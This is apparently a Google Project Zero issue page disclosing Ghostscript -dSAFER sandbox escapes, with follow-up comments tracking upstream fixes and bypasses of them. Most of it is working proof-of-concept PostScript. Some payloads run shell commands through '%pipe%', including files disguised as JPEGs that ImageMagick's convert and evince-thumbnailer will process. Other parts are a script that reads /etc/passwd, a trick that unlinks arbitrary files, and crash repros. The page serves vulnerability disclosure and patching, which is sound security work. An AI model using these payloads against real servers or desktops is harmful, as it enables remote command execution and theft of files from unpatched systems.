New issue
Advanced search Search tips
Starred by 5 users

Issue metadata

Status: Fixed
Owner:
Closed: Sep 7
Cc:

Blocked on:
issue 1643
issue 1653


Show other hotlists

Hotlists containing this issue:
Hotlist-1


Sign in to add a comment

ghostscript: multiple critical vulnerabilities, including remote command execution

Project Member Reported by taviso@google.com, Aug 21

Issue description

I sent the following mail to the oss-security mailing list:

http://seclists.org/oss-sec/2018/q3/142

These are critical and trivial remote code execution bugs in things like ImageMagick, Evince, GIMP, and most other PDF/PS tools.

----

Hello, this was discussed on the distros list, but it was suggested to move discussion to oss-security.

You might recall I posted a bunch of -dSAFER sandbox escapes in ghostscript a few years ago:

http://seclists.org/oss-sec/2016/q4/29

I found a few file disclosure, shell command execution, memory corruption and type confusion bugs. There was also one that was found exploited in the wild. There was also a similar widely exploited issue that could be exploited identically.

TL;DR: I *strongly* suggest that distributions start disabling PS, EPS, PDF and XPS coders in policy.xml by default.

$ convert input.jpg output.gif
uid=1000(taviso) gid=1000(taviso) groups=1000(taviso),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

I've found a few more surprising ways to reach ghostscript recently, so went back to look again and found a few more.

1. /invalidaccess checks stop working after a failed restore, so you can just execute shell commands if you handle the error. Exploitation is very trivial. Repro:

$ gs -q -sDEVICE=ppmraw -dSAFER -sOutputFile=/dev/null 
GS>legal
GS>{ null restore } stopped { pop } if
GS>legal
GS>mark /OutputFile (%pipe%id) currentdevice putdeviceprops
GS<1>showpage
uid=1000(taviso) gid=1000(taviso) groups=1000(taviso),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

(ImageMagick PoC at end of mail)

2. setcolor claims no operand checking is necessary, because it's hidden behind a pseudo-operator of the same name. That's true, but you can still call it indirectly via setpattern, so type checking is necessary. Repro:

$ gs -q -sDEVICE=ppmraw -dSAFER
GS><< /Whatever 16#414141414141 >> setpattern
Segmentation fault

3. The LockDistillerParams boolean isn't type checked, so nice easy type confusion. Repro:

$ gs -q -sDEVICE=ppmraw -dSAFER
GS><< /LockDistillerParams 16#4141414141414141 >> .setdistillerparams
Segmentation fault


4. .tempfile permissions don't seem to work, I don't know when they broke. You're not supposed to be able to open files outside of the patterns in the  PermitFileReading array, but that doesn't seem to work for me e.g.:
$ strace -fefile gs -sDEVICE=ppmraw -dSAFER
...
GS>(/proc/self/cwd/hello) (w) .tempfile
open("/proc/self/cwd/hello26E8LQ", O_RDWR|O_CREAT|O_EXCL, 0600) = 3
GS<2>dup
GS<3>(hello) writestring
GS<2>closefile

This means you can create a file in any directory (I don't think you can prevent the random suffix). Additionally, I have a trick to let you read and unlink any file you have permission to.

Here is how to unlink() any file:

$ strace -fefile gs -sDEVICE=ppmraw -dSAFER
...
GS>{ .bindnow } stopped {} if
GS>(/etc/passwd) [] .tempfile
GS<2>.quit
unlink("/etc/passwd")                   = -1 EACCES (Permission denied)
+++ exited with 0 +++

Reading is more complicated, because the best way I know how to do it is to interpret a file as as PostScript and catch the syntax errors, here is an example:

$ cat fileread.ps
/FileToSteal (/etc/passwd) def
errordict /undefinedfilename {
    FileToSteal % save the undefined name
} put
errordict /undefined {
    (STOLEN: ) print
    counttomark {
        ==only
    } repeat
    (\n) print
    FileToSteal
} put
errordict /invalidfileaccess {
    pop
} put
errordict /typecheck {
    pop
} put
FileToSteal (w) .tempfile
statusdict
begin
    1 1 .setpagesize
end
quit
$ gs -q -sDEVICE=ppmraw -dSAFER  fileread.ps
GPL Ghostscript 9.23:
STOLEN: root:x:0:0:root:
STOLEN: daemon:x:1:1:daemon:/bash/bin/root:(/etc/passwd)
STOLEN: bin:x:2:2:bin:/nologin/sbin/usr/sbin:/usr(/etc/passwd)
STOLEN: sys:x:3:3:sys:/nologin/sbin/usr/bin:(/etc/passwd)
STOLEN: sync:x:4:65534:sync:/nologin/sbin/usr/dev:(/etc/passwd)
STOLEN: games:x:5:60:games:/sync/bin/bin:(/etc/passwd)

This can be used to steal arbitrary files from webservers that use ImageMagick by encoding file contents into the image output, see my previous PoC here for an example. i.e. You can make convert malicious.jpg thumbnail.jpg produce an image with the contents of a file visible.

These bugs were found manually, I also wrote a fuzzer and I'm working on minimizing a very large number of testcases that I'm planning to report over the next few days. I will just file those issues upstream and not post each individual one here, you can monitor https://bugs.ghostscript.com/ if you want to.  I expect there to be several dozen unique bugs.

In the meantime, I really *strongly* suggest that distributions start disabling PS, EPS, PDF and XPS coders in policy.xml by default. I think this is the number one "unexpected ghostscript" vector, imho this should happen asap. IMHO, -dSAFER is a fragile security boundary at the moment, and executing untrusted postscript should be discouraged, at least by default.

Please note, ImageMagick sends some initialization commands to ghostscript that breaks my minimal PoC, but you can just undo their changes in PostScript.

This one works for me on the version in Ubuntu:
$ cat shellexec.jpeg
%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%id) currentdevice putdeviceprops
$ convert shellexec.jpeg whatever.gif
uid=1000(taviso) gid=1000(taviso) groups=1000(taviso),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

For CentOS, try this:

$ cat shellexec.jpeg
%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%id) currentdevice putdeviceprops
$ convert shellexec.jpeg whatever.gif
uid=1000(taviso) gid=1000(taviso) groups=1000(taviso),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

Thanks, Tavis.

 
Project Member

Comment 1 by taviso@google.com, Aug 21

Cc: taviso@google.com
Issue 1639 has been merged into this issue.
Project Member

Comment 2 by taviso@google.com, Aug 21

Labels: -Restrict-View-Commit
Discussion is already public.
Project Member

Comment 3 by taviso@google.com, Aug 21

Upstream bugs filed so far on https://bugs.ghostscript.com (some have restricted access)

699654	/invalidaccess checks stop working after a failed restore
699655	missing type checking in setcolor
699656	LockDistillerParams boolean missing type checks
699659	missing type check in ztype
699657	.tempfile SAFER restrictions seem to be broken
699658	Bypassing PermitFileReading by handling undefinedfilename error
Project Member

Comment 4 by taviso@google.com, Aug 21

Repro for "missing type check in ztype":

$ gs -q -sDEVICE=ppmraw -dSAFER 
GS>null [[][][][][][][][][][][][][][][]] .type
Segmentation fault

Comment 5 Deleted

Comment 6 Deleted

Project Member

Comment 7 by taviso@google.com, Aug 21

more upstream bugs

699665 memory corruption in aesdecode
699663 .setdistillerkeys memory corruption
699664 corrupt device object after error in job
699660 shading_param incomplete type checking
699661 pdf14 garbage collection memory corruption
699662 calling .bindnow causes sideeffects
Project Member

Comment 8 by taviso@google.com, Aug 23

I realized how to make my testcase work in evince and evince-thumbnailer, you just need to override the device.

$ cat test.jpg 
%!PS
a0
{ null restore } stopped { pop } if
(ppmraw) selectdevice
legal
mark /OutputFile (%pipe%id) currentdevice putdeviceprops
showpage
$ evince-thumbnailer test.jpg test.png
uid=1000(taviso) gid=1000(taviso) groups=1000(taviso),10(wheel) context=unconfined_u:unconfined_r:thumb_t:s0-s0:c0.c1023
ioerror -12


Project Member

Comment 9 by taviso@google.com, Aug 23

CentOS 64-bit-2018-08-22-22-52-01.png
273 KB View Download
Project Member

Comment 10 by taviso@google.com, Aug 23

Labels: -Reported-21-Aug-18 Reported-2018-08-21
Project Member

Comment 11 by taviso@google.com, Aug 24

Blockedon: 1643
more upstream bugs

699671 handling /undefined can expose undefined names (filed this as minor, but upstream identified an exploitation vector i missed and raised severity to critical)
699670 gssetresolution memory corruption
699668 .definemodifiedfont memory corruption if /typecheck is handled

Additionally, I reopened 699654 as I found some variants that required more changes.
Project Member

Comment 12 by taviso@google.com, Aug 25

Artifex made a press release saying that all of these issues have been fixed (https://www.bizjournals.com/sacramento/prnewswire/press_releases/California/2018/08/24/UN89145), which is confusing because several issues are still open.

The commits they link to are necessary but not sufficient, more commits are incoming and several issues are still open (in particular, 699654 is not yet resolved and working exploits still exist).

I also expect more bugs next week as I work through fuzzer output.

(I still recommend avoiding processing untrusted postscript whenever possible, ghostscript is perfectly capable software but the -dSAFER security boundary is quite fragile)
Project Member

Comment 13 by taviso@google.com, Aug 27

699654 is now closed, here is the additional commit necessary:

http://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=79cccf641486

This was the testcase that still worked before this:

$ ./gs -dSAFER -sDEVICE=ppmraw
GPL Ghostscript GIT PRERELEASE 9.24 (2018-03-21)
Copyright (C) 2018 Artifex Software, Inc.  All rights reserved.
This software comes with NO WARRANTY: see the file PUBLIC for details.
GS>nulldevice save
GS<1>a0
GS<1>restore
GS>a0
GS>mark /OutputFile (%pipe%id) currentdevice putdeviceprops
GS<1>showpage
uid=0(taviso) gid=421(primarygroup)

Additionally, upstream has split 699671 into two bugs, and 699676 now covers part of the problem.
Project Member

Comment 14 by taviso@google.com, Aug 27

I had to reopen 699654 (trivial command execution), I found another way to reach it. This testcase still works in HEAD as of this writing:


$ gs -q -dSAFER -sDEVICE=ppmraw
GS>a5
GS>1 .pushpdf14devicefilter
GS>save
GS<1>legal
GS<1>restore
GS>mark /OutputFile (%pipe%id) currentdevice putdeviceprops
GS<1>showpage
uid=1000(taviso) gid=1000(primarygroup) 


I also filed 699677 (.bindnow still causing side effects), because I don't believe 699662 was fixed fully.
Project Member

Comment 15 by taviso@google.com, Aug 28

Upstream have disabled pdf14devicefilter when you use -dSAFER, which broke the previous exploit. Here is the commit:

http://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=520bb0ea7519aa3e79db78aaf0589dae02103764

That does seem like a wise change, but I think there are other ways to make an invalid device. I'll investigate.
Project Member

Comment 16 by taviso@google.com, Aug 28

Ah-ha, I figured it out:

I wondered if grestore works the same way, I think it does, and I found a way to make it fail.

GS>currentpagedevice wcheck ==
false
GS>currentpagedevice /HWResolution get wcheck ==
true

You can't def HWResolution (for example), but you can just put or astore into it. If you put some junk in there, then grestore doesn't work:

GS>a0
GS>currentpagedevice /HWResolution get 0 (foobar) put
GS>grestore
Error: /rangecheck in .installpagedevice

Then LockSafetyParams is false again:

GS>mark currentdevice getdeviceprops .dicttomark /.LockSafetyParams get == pop
false


That doesnt work with save (only gsave), so full working exploit that still works in HEAD (as of this writing):

$ gs -dSAFER -sDEVICE=ppmraw
GPL Ghostscript 9.22 (2017-10-04)
Copyright (C) 2017 Artifex Software, Inc.  All rights reserved.
This software comes with NO WARRANTY: see the file PUBLIC for details.
GS>
GS>a0
GS>currentpagedevice /HWResolution get 0 (foobar) put
GS>{ grestore } stopped {} if
GS<2>mark /OutputFile (%pipe%id) currentdevice putdeviceprops
GS<3>showpage
uid=1000(taviso) gid=1000(primarygroup)
Project Member

Comment 17 by taviso@google.com, Aug 30

Here is a full exploit, it works against Linux and Windows, and all gs frontends I could find.


testcase.ps
2.6 KB Download
Project Member

Comment 18 by taviso@google.com, Aug 30

Blockedon: 1653
Project Member

Comment 19 by taviso@google.com, Sep 4

Upstream released 9.24 this morning, but I hadn't had time to review all the fixes before the release happened.

The fixes were incomplete, and minor adjustments to the previous testcase and it still works:
$ head -2 testcase.ps 
%!PS
% This is ghostscript bug 699714, a variant of 699687 (which is itself a variant of 699654).
$ ./gs -dSAFER -sDEVICE=ppmraw -f testcase.ps 
GPL Ghostscript 9.24 (2018-09-03)
Copyright (C) 2018 Artifex Software, Inc.  All rights reserved.
This software comes with NO WARRANTY: see the file PUBLIC for details.
uid=1000(taviso) gid=1000(primarygroup)

I filed that bug as 699687.
Project Member

Comment 20 by taviso@google.com, Sep 4

Sorry, the new bug is 699714 *not* 699687.
Project Member

Comment 21 by taviso@google.com, Sep 4

699714.ps
363 bytes Download
Project Member

Comment 22 by taviso@google.com, Sep 4

Here is a version that works in ImageMagick.

$ convert bug699714.txt jpg:foo.jpg
uid=1000(taviso) gid=1000(primarygroup)

bug699714.txt
384 bytes View Download
Project Member

Comment 23 by taviso@google.com, Sep 5

Last night Artifex committed this fix for 699714:

http://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=5812b1b78fc4

I didn't think that fix was complete, and found a trivial variant that still works, which I filed as bug 699718.

$ ./gs -dSAFER bug699718.txt 
GPL Ghostscript GIT PRERELEASE 9.25 (2018-09-03)
Copyright (C) 2018 Artifex Software, Inc.  All rights reserved.
This software comes with NO WARRANTY: see the file PUBLIC for details.
uid=1000(taviso) gid=1000(primarygroup)


Project Member

Comment 24 by hawkes@google.com, Sep 6

Labels: -Reported-2018-08-21 Reported-2018-Aug-21
Project Member

Comment 25 by taviso@google.com, Sep 7

Status: Fixed (was: New)
Another update, that bypass is now fixed with these commits:

http://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=3e5d316b72e3965b7968bb1d96baa137cd063ac6
http://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=643b24dbd002

The problem was that the previous commit relied on catching any errors, then restoring a sane state in the error handler. That won't work, because the trusted code shares the same operand stack with untrusted code, so you can (for example) just fill it up with junk and cause a stack overflow. That causes the stopped proc to stop, leaving the page device in insecure state ("stopped" is the PostScript equivalent of "threw an exception").

Here is a test case:

%!PS
% This is bug 699718, trysetparams stopped proc can itself stop, leaving page device in insecure state
currentpagedevice /PageSize get 0 (foobar) put
a0
% fill up the stack with junk, so the error handler generates a /stackoverflow
0 1 300360 {} for
{ grestore } stopped clear
(ppmraw) selectdevice
mark /OutputFile (%pipe%id) currentdevice putdeviceprops
showpage

$ ./gs -dSAFER bug699718.txt 
GPL Ghostscript GIT PRERELEASE 9.25 (2018-09-03)
Copyright (C) 2018 Artifex Software, Inc.  All rights reserved.
This software comes with NO WARRANTY: see the file PUBLIC for details.
uid=1000(taviso) gid=1000(primarygroup)

I dunno if I believe there are no other ways to make that fail, I'll think about it. For now, I believe all the bugs I've filed are fixed in git master (and therefore hopefully will make 9.25).

Sign in to add a comment